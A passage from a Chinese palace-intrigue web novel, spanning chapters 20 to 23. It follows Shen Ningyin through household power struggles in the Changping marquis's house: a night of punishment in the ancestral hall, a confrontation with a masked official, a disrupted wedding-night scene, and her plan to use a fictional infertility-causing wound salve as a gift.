侯府的人情冷暖，沈宁音早有准备，往日里可以因着世子爷的疼宠给几分讨好，失了宠爱，多的是人打着规矩条呈的旗号为难作践你。
又过了一盏茶的时间，沈宁音听见了外头的动静。
“您就让我过去吧？”
“不行，是夫人的命令，二少夫人反省期间不许任何人进去看望。”
兰香求了几句，见这婆子软硬不吃，当下就想捋袖子。
冷不丁祠堂的门从里头打开了。
沈宁音推开门走出来，那守门的婆子黑着脸要将她赶回去：“二少夫人！夫人和世子爷吩咐了……”
没等她说完，沈宁音一脚踹了过去，那婆子捂着肚子哀嚎一声，就要喊人。可说时迟那时快，一个丫鬟麻利地把一团不知打哪儿掏出来的埋汰破布塞进她嘴巴里。
婆子满脸愤恨地瞪着眼睛。
“看什么看！再看把你这一对招子挖下来！”小丫鬟凶得很，这恣睢模样倒是让沈宁音多看了两眼。
兰香赶紧奉上厚实斗篷：“少夫人，奴婢们原是要来的，可夫人的人守着，不让。”
沈宁音扫了一眼兰香身后染竹等人，心里暗暗点头：“你们倒是学聪明了。”
多带着人，只要老夫人和闵氏人不在，若是遇到些仆从阻拦，也能强闯。
兰香有些不好意思，她人实在，也不居功：“都是春渠的主意。”
沈宁音顺着她的目光看过去，就看见了方才凶狠的那位小丫鬟。原来她叫春渠？
脑子里粗粗过了一遍，沈宁音只隐约在沈弦思的口中听过一次这名字，但却也记不太清了。
可见这春渠应该不是沈夫人专门送过来膈应自己的那种陪嫁的下人。
而且，看她穿着的粗布衣裳就知，这人只是个粗使丫鬟。
沈宁音记下了春渠的名字，又看向被一群人围着的看祠堂的婆子。
那婆子这会儿给夜风一吹，登时清醒过来，面前黑压压的十几个人，她就是想去搬救兵也没门儿。
沈宁音看她假模假式的安静乖觉，微笑道：“你也不必多想，夫人说不许人进去，叫你守着，又没让你盯着我不许出来。”
婆子一时瞪大了眼睛。夫人闵氏还真没这么提过。
概因给罚进去的女人，尤其是沈宁音这种端庄柔婉的，谁也想不到她竟会跑出来，还踢人的。
沈宁音声音淡淡的，温和的，就好像将才踢得她满地翻滚的人不是她一般。
穿上斗篷，沈宁音道：“你今儿就在这里，哪儿也别去，明儿若是有人问起，你想要朝夫人告发，我也不拦着。”
染竹急了：“少夫人！可不能由着她！”
兰香也和染竹是一个意思。
沈宁音只是微微一笑。
20. 催生
“放心吧，她知道什么该说什么不该说。”沈宁音收了御寒的手炉与斗篷，并没有留祁秀院来的丫鬟们。只吩咐兰香出去跑腿，其他人都撵了回去。
沈宁音之所以说得这般肯定，是因为来这两天，她结合前世大约了解了一下昌平侯府的情况。
闵氏家里是武将之家，门楣也不过正五品军职，不似沈家靠的科举，昌平侯府本就是行伍出身，军中的岳家对其毫无助益，当年昌平侯娶闵氏过门是没得挑，老夫人其实并不满意。
再加之闵氏确实不适合做主母打理后宅，这些年来，闵氏表面是主母，其实背后还是老夫人撑着身子在掌侯府。
沈宁音太清楚了，一空两日的境况，下人们长长久久地适应下来，都是和稀泥的墙头草，最会见风使舵的。
这昌平侯府至少还有一个老夫人在，她这会儿受的所有委屈，都将化作她往上爬的垫脚石。
沈宁音的预感并没有错，天刚蒙蒙亮，大门就开了，沈宁音跪在蒲团之上，闭着眼睛，发丝微乱，脸色是没有休息好的憔悴。
“二少夫人。”方嬷嬷的声音传过来。
沈宁音睁开眼睛的同时，那昨日被绑着的婆子也醒了。
婆子一看自个儿身上没了绳索，又摸了摸嘴巴，立马意识到自己不知什么时候被松绑了。
“方嬷嬷！”她像是遇着了救星，连忙爬进祠堂，张开嘴正要告状。可方嬷嬷一时没搭理她。
“二少夫人，您受委屈了。”方嬷嬷把沈宁音搀扶起来。
沈宁音捂着膝盖，嘴角扯出个苍白的笑容：“没事。”
方嬷嬷脸上是关切的表情：“老夫人一醒过来就找您呢，将才还把夫人跟侯爷都说了两句，世子爷这会儿还在她床前跪着，您看……”
沈宁音知道老夫人哪里能真怪罪自个儿的宝贝孙儿？这是在给自个儿递台阶呢。
可那些人把她罚跪祠堂一整夜，还打发着人拦住仆婢不让送御寒衣裳，这样的事儿若轻轻放下了，以后还指不定有几回的。
沈宁音应声：“扶我过去。”台阶自然是要下的，可光她几句口头上的安抚不行，道歉也不行。行走间，她眼底有亮光一旋，隐匿不显。
沈宁音靠在一旁走不动，方嬷嬷连忙命人去抬软轿来。又吩咐人抬着沈宁音去松鹤堂，一起子人皆小心翼翼，路过门槛时，沈宁音略略侧头，目光就落在昨夜那婆子脸上。
“方嬷嬷，方才她好像有话要说。”
沈宁音的声音不疾不徐，温和，不带任何攻击性。
方嬷嬷看过去：“何事？”
软轿停在门口，众人都等着婆子说话。
婆子的目光落在老夫人专乘的软轿上头，瞳孔颤了颤。她慌忙摇头，一个字也不敢多说。
软轿走得平稳，一盏茶的时间就到了。
小丫鬟进去禀告后，又出来了几个松鹤堂的丫鬟搀扶沈宁音进去。
老夫人脸色很不好看，她捂着嘴咳嗽着，见沈宁音被搀扶着进来，惊讶之际，看向秦耀阳的目光中怒气真实了几分。
“看你做的好事！”
秦耀阳从地上转过头来，看见沈宁音被搀扶着似乎站不稳的模样，似乎大为震惊，男人抿着唇满脸后悔神色。
“还不把人扶到软榻上坐着！”老夫人拔高了声音，抬手吩咐，也不知是对谁说的。
沈宁音见秦耀阳红着眼睛想过来又犹豫着不敢起来的纠结模样，心里委实有点烦了，她推开身边儿的丫鬟，跌跌撞撞跪在了秦耀阳身边儿，眼泪说来就来。
“祖母，您千万别怪世子。”
老夫人慌忙叫人来扶，沈宁音也不肯起来，攥紧帕子一面抹泪一面道：“世子也是关心则乱。”
她哭得伤心，哭是假的，但眼泪不是。沈宁音有无数的方法叫自己哭得情真意切，老夫人、秦耀阳都看得动容。
沈宁音没说秦耀阳是关心谁。秦耀阳只觉着自己这般对妻子，她竟还在为自己求情，后悔之余，只有深深的感动。
整个昌平侯府，只有这男人的感动最不值钱。沈宁音不在乎，她泪涟涟的目光看向了老夫人。
老夫人一想到自己这不成器的孙儿其实是为了周婉才这般失态，顿时脸色就黑沉下来。
“祖母一倒下，母亲父亲、世子、咱们家里人哪里有不慌的？”沈宁音道：“孙媳能理解。”
“宁音……”秦耀阳神色里满是悔意，却说不出口。
老夫人更讲不出话来了。
她方才一醒，就已经与众人横陈利弊，老夫人原也知道儿媳、儿子、甚至孙子不顶事，却没想到他们这般糊涂。
这次若非沈宁音，侯府都不知道乱成什么样子！可这些人非但看不明白，还把人罚了。
老夫人用力闭了闭眼，本打算轻轻放下的心又硬了一些。
“宁音，你起来。”
老夫人没有喊秦耀阳起身。这一回沈宁音擦着泪，成功被搀扶起来了。
沈宁音坐在床边，老夫人握着她的手：“好孩子。这马上就要开宗祠，拜先祖，你再跪坏了腿可不好。”
老夫人又瞪了秦耀阳一眼：“你这半个月也甭出去乱晃了，就留在你媳妇身边儿，天天陪着她，莫叫她寒了心。”
“孙儿明白。”秦耀阳答应得很爽快。
沈宁音一时间反应了过来，攥紧了袖中的帕子。
老夫人笑着叫秦耀阳起身，又将她二人的手交在一处，苍老的脸上笑出了慈和的皱纹来：“我那小厨房的厨子很会熬汤，我那儿还剩了些补药，回头叫厨子炖一些送去祁秀院给你们夫妻补补。”
直到这会儿，秦耀阳才终于回过味儿来。他先是一愣，眼神里有片刻的犹豫。
沈宁音只看了一眼，便主动抽回了手：“祖母，不用的，宁音身子康健，用不着补。”
秦耀阳猝然抬起脸，愣愣地望向沈宁音：“宁音……”
老夫人开口：“怎么会不用补？你们新婚燕尔浓情蜜意的，最是要注意身子的时候。”
沈宁音低着头，恭顺的模样，却没接话。等她说完，沈宁音才微笑道：“祖母，我昨儿没睡好，想先回去了。”
秦耀阳看着她，想说话，却又不知怎么开口。
这时候，沈宁音看向一旁的方嬷嬷：“烦请嬷嬷送我回祁秀院。”
老夫人看了半晌，为不
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可查地叹了口气，朝方嬷嬷点了头。
沈宁音一离开，屋子里安谧下来，老夫人冷下脸：“昭儿，你老实告诉祖母，你和宁音圆房没有？”
秦耀阳眼瞳一颤，低下头语焉不详：“嗯。”
老夫人皱了皱眉，却也松了口气：“那就好。”老夫人语重心长：“咱们家是行伍封侯，沈家走的是科举，你这一辈就是吃了这个亏，你若上不得战场，咱们家下一辈还后继无人的话，那边塞的袍泽情谊又岂能延续？”
“将来你与正妻生下子嗣，她哪里不能尽心扶持？走科举，走军中都可以。你前头那些个荒唐事，咱们就当是那墙上的泥胚，剥落了也就剥落了。”
“要抓紧啊！”
院外，沈宁音被一顶软轿抬回祁秀院时，正碰上赶过来的闵氏与周婉。
沈宁音闭着眼睛装睡着了，是方嬷嬷在外头略寒暄了两句。
等轿子过去，周婉眼睛都红了。
“呸，真能装。”闵氏气得发脾气：“不过是跪了一夜祠堂，哪里就娇气得走不动路了？真真是个丧门星！膈应人！”
闵氏的话一下子叫旁边儿的周婉尴尬住了，她成日里装体弱，一时间有种婆母在骂自己的错觉。
周婉垂着眸子：“婆母，咱们还去松鹤堂么？”原就是老夫人过来遣她们过去叫沈宁音消消气的。周婉不想去，磨磨蹭蹭，闵氏更是拉不下脸来。这会儿人过来了，沈宁音也走了，倒是合了二人的心意。
闵氏一听，脸色舒缓开来：“去，怎么不去？没了丧门星在，咱们正好跟老太君处表表孝心。”
周婉点点头，深以为然。
不过，她们没走几步，就碰见从松鹤堂出来的秦耀阳。
他已经许久没去周婉处了，从前每每他来，周婉总要故意拿乔刺他两句。秦耀阳很吃这种欲拒还迎。可现在，她使着手段引他去兰心居他竟也不来了。
周婉连忙抿了抿鬓发，又整理了一下裙裾，用最漂亮的角度扬起微笑迎向秦耀阳的方向，声音温柔：“世子。”
秦耀阳看了她一眼，只“嗯”了声，朝着闵氏略行礼便急匆匆往祁秀院方向大步流星地追过去了。
“这孩子，风风火火的作甚呢？”闵氏微微蹙眉，但也没多在意。
唯独周婉愣在原地，她看向秦耀阳急匆匆的背影，心里是说不出来的滋味，酸涩的鼻尖萦绕着一股子委屈又幽怨的情绪。
“看什么呢？”闵氏不高兴地拿手肘拐了她一下：“走吧，还要去松鹤堂呢，老太君还不知道又怎么数落我。都怪那丧门星。”
周婉情绪低落，扶着闵氏往松鹤堂去。
祁秀院里，沈宁音歇歪在美人靠上，染竹拿着鸡蛋给她滚着膝盖，玉白匀称的腿就挂在塌沿上。
她闭着眼睛，长睫轻颤，姿态慵懒，哪里还有方才的憔悴凄惨，此刻只宛若一幅绝美的美人画。
而此时此刻，薛岚就站在屏风之后，他轻按腰间佩刀。
男人已经看了很久，只是没料到她不按常理出牌，并未回房间歇息，这不打紧，可她竟卷高了裙摆露出玉足。
薛岚看着那凝脂赛雪的长腿，一时间不敢细看。
21. 刺杀
“少夫人，您的膝盖都青了。”染竹叹了口气，眼里有心疼。
沈宁音睁开水眸瞥了一眼，暗沉沉的颜色在白嫩的肌肤衬映下，分外明显。
许是前世跪得多了不觉着，昨儿刻意跪了一夜，将才又在松鹤堂那么一磕，疼得就比想象中更强烈些。
沈宁音捏着裙摆的手略略收紧，只觉得腿有些冷。染竹见她皱眉，忙收了东西道：“您先暖暖，奴婢给您去弄个手炉再揉不迟。”
沈宁音抬手拦了：“不用，继续。”
人，受了再多的委屈，受了再多的伤，若不叫人看见，别人就只会当你无事发生。
她偏要叫人都知道。知道她的委屈，知道她的伤，这样，等她再要价的时候，便能多咬下一块肉来。
不到一个呼吸，外头小丫鬟隔着屏风禀告：“少夫人，世子过来了，在外头。”
沈宁音眉头略蹙，却也不慌，她一只玉手支着脑袋，阖着眼眸吩咐：“就说我睡着了，叫他先去忙，不必管我。”
小丫鬟领命走了，染竹却是担心地看向沈宁音：“少夫人，世子该是诚心后悔了，您再将他朝外头推，总归是不利的。”
染竹是好意，沈宁音哪里不知，可她睁开的眼睛里带着冷：“我自有分寸。”
染竹被这眼神一看，顿时绷紧了脊背，慌忙跪在了地上：“是奴婢僭越。”
沈宁音并未马上喊她起身。
这深宅后院儿的事，沈宁音很明白，男人的情分不值当，更何况还是不爱你的男人。你对他好，他只会觉着理所应当。
该敲打的时候就得敲打，反倒会叫他动些心思。
染竹不会懂，她们都不懂，她们需要用更长的时间一次次失望，才会断了那些不该有的希冀与幻想。
沈宁音不打算解释，日子久了她们自会懂得，做主子的需要做的，不过是叫她们明白谁是主子，该跟谁一条心。
“少夫人，世子不肯走，还在外头等。”小丫鬟回来禀告。
沈宁音盯着染竹，朱唇微张，声音软软的：“那就让他等着。”
染竹抬起眼眸，嘴巴震惊地张着，很不解为何先前一径地顺从、小心伺候着秦耀阳，甚至专程在外头去亲自迎他，而现在，少夫人竟这样冷待他？最让她不解的是，世子爷没生气，还在外头等。
“起来吧。”沈宁音从美人靠上起身：“你不明白的事儿多了。”纻丝的裙摆垂下，遮住了两条笔直的玉腿，整个人矜贵里带着薄薄的懒倦韵味。
染竹连忙起来要扶她。
沈宁音摆摆手：“我困了，你先下去吧。”
染竹应了声，退出去麻利地关上门。
沈宁音微微抻了抻藕臂，往里头走去。因着膝盖疼，她走得慢吞吞的。
突然，她察觉到什么。眼眸微敛，一个转身，打算若无其事地走回外头去。谁知来人并不给自己机会。
当是时，一道冷风扫过来，沈宁音在那瞬间绷紧了神经，她下意识的往下一矮身子。
薛岚原想着扣住她的肩膀，哪知这深宅女子的反应速度竟然叫他刮目相看，他一抓下去，没抓着肩膀，却抓住了肩膀上的衣裳。
沈宁音往外一步，就感觉被揪住了，她飞快往后侧方瞟了一眼，这一眼，她瞥见了一柄绣春刀。
思绪在脑海里飞旋，她几乎在瞬间做出选择，一把扯松了腰封。
薛岚只觉得手上的反力一松，惊讶抬头时，只看见女子黑发如瀑般散落在肩膀，她甩头发的瞬间，露出半个腻理脂白的肩头。薛岚瞳孔震动，迟了一刹。
就在这一刹，沈宁音将才从头上拔出来的簪子就被她狠狠刺了过去。
她是冲着眼睛刺的，这样近，薛岚避不过，他只来得及抬手，而这一下，也只是将那插向眼睛的簪子别向了胳膊。
薛岚的手一松，沈宁音往后踉跄了两步。
一股子浅浅的血腥味弥漫开来，沈宁音知道自己刺得有多深，可她只听见那戴着面具的男人闷哼了一声。
再看时，男人面具下的眼睛一如既往的冰冷，似乎连疼痛也不能叫他有半分的波澜。
只是他的目光似乎刻意避开了沈宁音的肩膀。
“使司大人！没料想您竟是个登徒子？”沈宁音嘴里说着这等话，却并未遮住自己圆润的肩头。
漆黑缎子般的黑发映衬下，她的脖颈与肩膀愈发惹眼。
薛岚面具下的眉头皱紧，冷冷别开了视线，心里暗骂了句“妖精”，只拿眼角的余光觑着她。
“大人是来杀我？”沈宁音问。
她也不是没想过呼喊，可若此人是来取自己性命，那么有一个算一个，来再多人也没用。这人手里的刀可比谁都快。
没得到回答，沈宁音只瞧见男人受伤的手扣上了刀柄。
沈宁音瞳孔地震，她此刻虽看起来平静，可其实心里没底。她深吸了口气，伸手将另一半肩膀上的衣裳往下拉。
这一回，果然见铁塔般的男人后移了半步。
沈宁音一开始也只是怀疑，怀疑他来这么久没动手的原因是不是因着自己方才露着那一双腿。
如今一验，果然如此。她想想也觉难怪。
寻常人或是因为知礼守节，可那些阉人多是穷苦人家出身，哪里去学那许多礼仪。一多半就是像传闻一样。
那些个无根之人，见着女子肌肤，或因为不能人道而生厌恶。
沈宁音思及此，更没什么顾虑了：“我不知哪里得罪了大人。值得您闯入侯府来杀我？”
薛岚不看她，只看向手臂上深深插着的簪子，这女人待下冷酷严苛，心思也是毒如蛇蝎，能二话不说就扎人眼珠子的女人，他是生平仅见。
这次，他绝不认为自己会冤了她去。
薛岚握紧了刀柄：“你自己做了什么，还须本官多言？”
他胳膊上的血，随着肌肉的紧绷汩汩流淌下来。
沈宁音心中一颤，那种危机之际心惊肉跳的感觉恍如实质。她忍不住后退，咬了咬牙：“你说！我委实不知！”
“还装！”
薛岚眼睛通红，下一瞬就要抽出刀来！
“少夫人在休息，世子，您别……”这时，门外突然传来凌乱的脚步声。
“让开！”说话的却不是秦耀阳，是个陌生男子的声音。
秦耀阳眼看着来人一脚踹开了卧房
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门，他恼怒呵斥：“你们做什么？”
他见人前来拜访，只说是皇城司来询问，又想着正好能有借口来找妻子，于是就领着人进来。可没料到这些人如此粗鄙不守规矩。
那官差额头汗珠涔涔，也顾不得擦：“抱歉，事出紧急还请世子去叫夫人出来。”
秦耀阳原本想要发作一番的，可他平日里跋扈是跋扈了些，却也知道轻重，前几日连自家爹爹都在皇城司手里吃了大亏，如今那些人放软了身段，秦耀阳也就借坡下驴。
秦耀阳哼了一声，冷冷地往里面去。
刚进门，他就察觉到一股子血腥气，很淡。
秦耀阳皱眉的时候，他身后两个皇城司官差脸色骤变，抬腿就要往里冲。
“世子。”千钧一发之际，里头传出个温软的声音。
秦耀阳连忙越过二人，又绕过屏风，他看着沈宁音正在系腰封。
“你没事吧？”男人紧张的眼神盯着她看，沈宁音敛眸，低着脑袋，脸上是淡淡的笑：“妾身能有什么事？”
秦耀阳大大松了口气，觉得是自己疑心重了些。
而下一瞬，两个皇城司官差也绕到了屏风后。
见他们四下打量，秦耀阳将沈宁音护在身后，皱眉不悦道：“你们还有什么要问的，眼下就可以问，快些问了离去！”
秦耀阳说完这些话，那官差便也没了先前那些个紧迫，好似是随意地问了些车轱辘问题。
越听，秦耀阳眉头越是皱紧，倒觉着那些人是来找茬的。
“这是什么？”有个官差看向地板。
秦耀阳很不耐烦，顺着他的目光看去。却震惊地发现地上有一滩血。
官差弯身，沾了些在指尖，搓了搓，又轻嗅了下：“很新鲜。”
沈宁音心脏跳得快，她这会儿还没缓过来，深吸了口气，抬起自己之前受过伤的手。
“伤口，裂开了。”
秦耀阳的眼神立马愧疚心疼起来，因为那原本已经干涸的布条此刻染着刺目的红。
他捧着沈宁音的手腕：“怎么搞的？怎么会又裂开的？你这么不会照顾自己，我岂能放心？”
沈宁音听不得这等话，索性抿着唇把目光移开去。她将将往窗户瞥，却见窗棂上还留着一小滩血迹。
她在心里又骂了那可恶的薛岚两句，抬手推开秦耀阳，赌气似地走到床边，抬手将血迹用手上缠着的布条来回擦了擦，咬着牙道：“世子这是在怪妾身了？”
秦耀阳臊红了脸，慌忙否认：“宁音，我不是这个意思。”
“那你是何意？”
见秦耀阳与沈宁音夫妻似在闹别扭，那两个官差只觉尴尬，连忙拱手告辞：“既然事儿已经问了，那下官就不打扰世子与世子夫人了，告辞。”
秦耀阳不耐烦看了他们一眼，就接着哄沈宁音去了。
官差们关上门，走在路上也都松了口气。
“依我看，使司大人没这么沉不住气，哪里就能提刀来杀人了？”
另一人耸耸肩：“我哪知道，总归是薛公公不放心，叫咱们来瞧瞧。”
“倒是那位世子夫人……果然传言非虚，极受宠爱。”
22. 洞房
二人刚一出府，迎面就撞见了薛岚。
两个官差神色一肃，忙抱拳行礼：“大人。”
常年行走在诏狱，刀口舔血的差役们对于血是很敏感的，薛岚身上的血腥味自也瞒不过他们。
两人下意识打量这位皇城司破格提拔上来的最年轻的使司。但见他胳膊上浸润出暗色的潮意，应是挂了彩。
可薛岚自从入司以来，都是个冷面阎罗，逼供、做事最不留余地。再加上是宫里大太监的干儿子，背景硬实，连皇亲贵胄也从不给面子，鲜少有人敢多嘴询问讨他的嫌。
两人什么话都不敢问，只道：“薛公公吩咐咱们过来瞧瞧，怕您走岔了路。”
薛岚也没说，只是深深看了一眼昌平侯府，粗粝的手掌将掌心染血的海棠簪子捏得很紧，然后转身离开。
祁秀院内，挂上了灯笼。
主子新婚不过几日，灯笼上裹着红绸，照得整个院落都喜气洋洋的。
卧房里头，沈宁音斜倚在床头，屋子里忙忙碌碌，熏香是上好的沉水香，香味里杂着一丝甜腻的旖旎。
沈宁音心下有些厌烦。
睁开眼睛，丫鬟们将叠好的男女里衣规规整整放在床边。
方嬷嬷捧上来一床桂枝纹样的被子，细碎的花儿缀在大红的丝绸底色上，惹眼又喜庆，但沈宁音不喜欢。
她捏紧了身上的淡雅兰花锦被，但立马就被抱走，换掉了。
“少夫人，世子爷年岁不小了，老夫人盼着您早日诞下嫡长孙哩。这正红色桂花被子最合适不过。”方嬷嬷笑皱了眼尾。
经过上回的事，方嬷嬷对沈宁音观感不错，所以她这会儿的心思倒也不全然只为着侯府。
沈宁音也知她的意思，更知老夫人以及祁秀院所有仆婢的意思。
今儿她原是想着晾秦耀阳一阵，叫他进来见着她腿上的瘀伤。哪知天有不测风云，刚想换去床上歪一会儿，竟会碰上皇城司里那天杀的。
偏那人是薛岩的干儿子，甚至可能还是亲的。她还真吃罪不起。
薛岚不是来杀她的，这一点，沈宁音是在把人胳膊扎穿才意识到的。
一想到自个非但不知何故得罪了他，而且还扎了他一记，新仇旧恨，沈宁音只觉脑仁儿疼。
屋子里终于安谧下来，烛火摇曳，风从细小的窗缝里倾泻进来。
外头传来脚步声。
“二爷，少夫人在里头候着您呐。”外头丫鬟的声音里带着欢喜。
沈宁音几乎是瞬间绷直了背脊。她坐在床上，手抱着膝盖。
男人关上了门，隔着屏风，影影绰绰的往床榻过来。
沈宁音脑子乱糟糟的，所有的利益盘算似乎在陌生的情绪里变成了一瞬间的空白。
她的手指放松下来。
秦耀阳从屏风边走出来，刚沐浴过的面容清爽干净，俊美无俦的脸上在看见沈宁音时绽开了一个淡而有礼的笑容。
走得近了，他眼底又添了几分怜惜与愧疚。
柔软的床榻陷了下去，男人身上除了淡淡的皂香，还裹挟着一股子独属于秦耀阳的气息。
秦耀阳是俊美的，既有上京贵养出来的儒雅，又有遗传自公侯家族的英气，他二十六，是男人彰显出成熟的最好年华，光论模样，能叫无数贵女心旌摇曳。
可沈宁音早就不再是少年慕艾可以对人一眼万年的心境了，她不喜欢他的气息，也不喜欢他的笑。
秦耀阳伸出手时，沈宁音却笑着把柔荑放在了他的掌心：“世子。”
他的手扶着她的后背往前轻压。沈宁音眉头轻蹙，但还是顺从地往他怀中靠。
秦耀阳搂着她的腰，一只手细致地摩挲着她的手背：“宁音。”
缱绻的熏香，温热的体温，沈宁音的下巴被勾起，烛光里，秦耀阳的眼神很平静。
尽管他已经在尽力叫沈宁音能感受到眼神里的怜惜与温柔，可当他低头吻沈宁音的时候，沈宁音那种陌生的抵触终究占了上风。
她的手掌攥着锦被，终于忍不住抬手。
秦耀阳看着妻子点在自己唇瓣的手指堪堪愣住。
沈宁音也愣了。
明明她已经做好心里准备，明明忍住了所有的不适。
昌平侯府往后就是她的家，她的庇护，即使秦耀阳不爱她，她依旧想要个孩子。
前世没有自己的孩子，养大的庶子在冷元景的撺掇之下成了白眼儿狼，打了、骂了，就恨上了自己。
最疼爱的孩儿，与旁人一道盼着自己去死。
沈宁音眼神暗了暗，若真到了不得不动手的地步，去父留子，掌控一切，方是最好。
“宁音，怎么了？”秦耀阳轻笑着吻了下她的手指：“可是害怕了？”
沈宁音强压下心里的抵触，收回手指，羞赧一笑：“妾身只是有些紧张。”
秦耀阳揽着她的腰肢，将她放平。长发散乱铺展在枕头上，若漆黑的海藻。
沈宁音闭上了眼睛。
秦耀阳低头继续，一阵风吹来，纱帐翻卷，烛火明灭，他看着身下女人的脸，突然有瞬间的愣怔。
端庄、贤惠，可却不是那人。
脑海里那人哭泣的面容忽然压过了祖母的耳提面命。
秦耀阳深吸了口气，拉松了绢丝带子。洁白的裙摆往上提，玉一样的双腿展现在掌下。
沈宁音只感觉光影微弱地晃动，是风吹，是火烛。她的情绪，从抵触，到紧张，到有些困顿。
委实是秦耀阳每一个动作都极慢。
“夫君，快些。”她伸出手揪着他的衣襟。
秦耀阳彻底顿住，没料到平日里端庄如沈宁音也会出声催促，他亦有些懊恼。
将那碍事的腰带往旁一扔，再一次压住。
沈宁音闭上眼睛，不像是等待夫君的疼爱，更像是完成一件必须完成的任务。
这个任务，关乎她的未来打算，关乎祁秀院未来的地位。
既然得罪了皇城司那位阎罗，那么抓紧秦耀阳，也不失为一个好选择。
突然，门外吵嚷起来，隐约有女子的哭声传过来。
秦耀阳的动作一下子就停了。他想起身，却被沈宁音一把拉住。
他错愕地低头看着妻子，沈宁音的眼神在昏暗的光线里看不分明，可是她没有了往日的笑意。
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秦耀阳抬手抓着褪下来的衣裳，语气带着些解脱：“宁音，我出去看看。”
“不准去！”沈宁音死死抓着他的肩膀，若非控着力，指甲便要掐进肉里。
“别走。”她的声音暗沉，看向秦耀阳。沉沉的声音是强势，可是尾音轻颤，带着点软软的求：“就今天，就这一次。”
“好不好？”
秦耀阳没走，也没反抗她的禁锢，沈宁音从他眼里看出来一丝夹杂着愧疚的心软。
“好。”他说，沈宁音撑起身子，抱住他的脖颈。她两世为人，没取悦过谁。这次，她想努力一回试试。
不为自己，不求爱情，只为着一个孩子。
为自己在一世荒凉中求一个心埋之地。
“夫君。”她在他耳边唤他。
秦耀阳身子一颤，抬手用力回抱住了她。
温热的吻狠狠地落在她的脖颈，刺痛中，沈宁音莫名感觉到了屈辱。
她觉着，自己真是该死啊！重来一世，竟还没有把自己这具身子豁出去的觉悟。
她攥紧了被褥，准备好迎接自己的人生新阶段。
“砰——”屏风后一声巨响。
紧接着门外潮湿的空气随着寒冷的风吹了进来。
沈宁音心中勃然大怒，死死攥紧了床单，秦耀阳停了，只差最后一步。
她不能失去这个机会！
这个好不容易得到的机会，她一定要做完！
“还不把人赶出去！”沈宁音呵斥一声！尖锐的声音刺破了夜色。她咬牙一把抱住男人的腰：“夫君！我们继续！”
门口的丫鬟们都吓破了胆，一个个死死拉扯着闯进来的人。
“世子！求求你见见我！”周婉的哭声夹杂着外头的暴雨声，像是密密麻麻的利剑，朝着男人的心底猛地射过来，射出黑洞洞的伤口。
“放开。”秦耀阳挣扎着，眼睛瞪着身下的妻子。
“我不放！”沈宁音毫不退让，她咬着下唇，泛白的唇瓣在碾压下几乎沁出血来。
“我叫你放手！”
哭声在继续，男人的声音愈发暴躁起来。
沈宁音发了狠地抱着他的腰，这力道弄疼了他，秦耀阳整个身子散发出决然而冷酷的气场。
这感觉陌生得紧。
在沈宁音的惊叫声里，秦耀阳发狠推开了她。
沈宁音在推搡之下，后脑勺斜斜的砸在了内墙之上。她只感觉脑子嗡地一声响。
整个人眼毛金星，好半晌都爬不起来。
外头的喊声越来越远。
不，沈宁音觉着那不是在外头，是在她耳边。
她茫然的抬起脑袋，看见染竹，看见兰香，看见祁秀院的丫鬟们都围在面前。
她们的嘴巴一开一合的，听不分明。
“少夫人！少夫人你别吓我们！”
“少夫人！你说说话？您怎么了？”
沈宁音捂着脑袋，感觉到后头有些痒，她抬手朝着头发一摸，湿的。
原来是血啊。
她忽然就笑了起来。
是啊，流血罢了，不是早就习惯了么？
23. 气人
沈宁音染血的手攥着正红色桂花锦被，她用力掀开来。神色里再也没了将才的茫然。
“慌什么？”她起身，坐到了妆镜面前，芙蓉面上，淡定从容。
“少夫人，您的伤……”染竹声音在抖。
“去拿药。”沈宁音蹙眉，这时，兰香已经拿着止血药过来。
丫鬟们轻手轻脚地给她上药、裹伤。沈宁音声音有些低沉喑哑：“托你办的事办得如何？”
兰香一愣，连忙道：“少夫人叫奴婢去找柳郎中，他给了药。”
不一会儿，兰香就递过来一小罐伤药并一封信。
沈宁音接过来匆匆扫了眼。柳郎中在信笺内劝说她，若非必要决不能用这药。
将信笺一折，沈宁音直接拿来火折子点了。
这药在前世她便用过，自己用过，也给冷元景后宅里那些个不安分的妾室用过。此药珍贵，从西域传过来，对外伤有化腐朽为神奇的绝妙好处。
除了贵，唯一的缺点就是用了之后会让女子不孕。
染竹站得近，作为贴身婢女，她也是认字的，也瞧见了信笺上的内容。
“少夫人！您可千万别用此药！”染竹也顾不上僭越，抓着沈宁音的手，想让她放下，甚至想劝她扔掉。
兰香听了缘由也紧张起来。
“扔掉？这可是一百两银一罐的好东西，扔了岂不可惜？”沈宁音说着话，目光落在铜镜里的那张美人脸。
染竹跪下哭着求她：“少夫人，您千万不要放弃，世子爷只是一时不知您的好。正所谓日久见人心您定能守得云开见月明！”
哪里能守呢？沈宁音自嘲一笑，她前世何尝没守过，到头来，冷家那四四方方的后宅里，冷得瘆人，连人心都是冷的。
“你放心，我不是给自个儿用的。”沈宁音重活一世，可不会做这种让自个儿不爽的事情。
染竹道：“少夫人，这药定有来处，若是出个什么事儿叫人查到您身上……此物留在身边儿就是个祸根！”
兰香也红着眼圈连忙道：“少夫人，奴婢去替您退了吧！”
沈宁音当然知道后果，前世她给冷元景的妾室用这个便给查到了，可她自己也用，最后谁也怪不到她头上来。
眼下情况又有不同。沈宁音敛眸，拿了一块布包好，淡声道：“此药是疗伤圣药，我是拿去做人情的。”
知晓内情的染竹与兰香脸都白了。
沈宁音起身的时候轻笑：“怕什么，只是伤药罢了。”
伤药是伤药，可它是叫人断子绝孙的东西呀！两个丫鬟干着急，却谁也不敢多说什么。
沈宁音沉沉地歇了一夜，天刚蒙蒙亮，便随意绾了个发髻，略施薄粉，没有打胭脂。
这几日，她原就伤着，这会儿面色看起来更差了。
她满意地看着铜镜里那张羸弱的病美人脸，满意地换上了一身素色的褙子。
下过雨，外头有些冷，沈宁音特意穿得薄些。她这身行头，染竹与兰香看着都觉得冷。
“昨儿世子被大少夫人喊去了兰心居，咱们的人想靠近，却被拦住了……”
兰香眼里带着憋屈，又心疼主子的境遇，眼泪逼至眼睫，生生忍回眼眶里：“都怪那起子尸位素餐的家伙无能！”
沈宁音倒是有点意外，几日功夫，小丫鬟终于给养正了，还学会迁怒了。
沈夫人拨给沈宁音的人，都是些只会仗势欺人的，可他们不但会欺自己人，若是用好了，那些奴才欺负起旁人来也是一把好手。
连他们这等惯会耍野路子的家伙也不敢去闯兰心居，很显然，那儿的事不小。
不然依着秦耀阳那种拖泥带水左右摇摆还情绪化的性子，情绪上来了就能将自己撂在床榻，甚至狠狠推搡发妻，等他冷静了下来，也必然扔下为小事犯禁的周婉而半夜折回。
可他一夜未回……
沈宁音此刻清醒得很，略摇了摇头：“不关他们的事。”
“怕是兰心居真出了什么大事。”
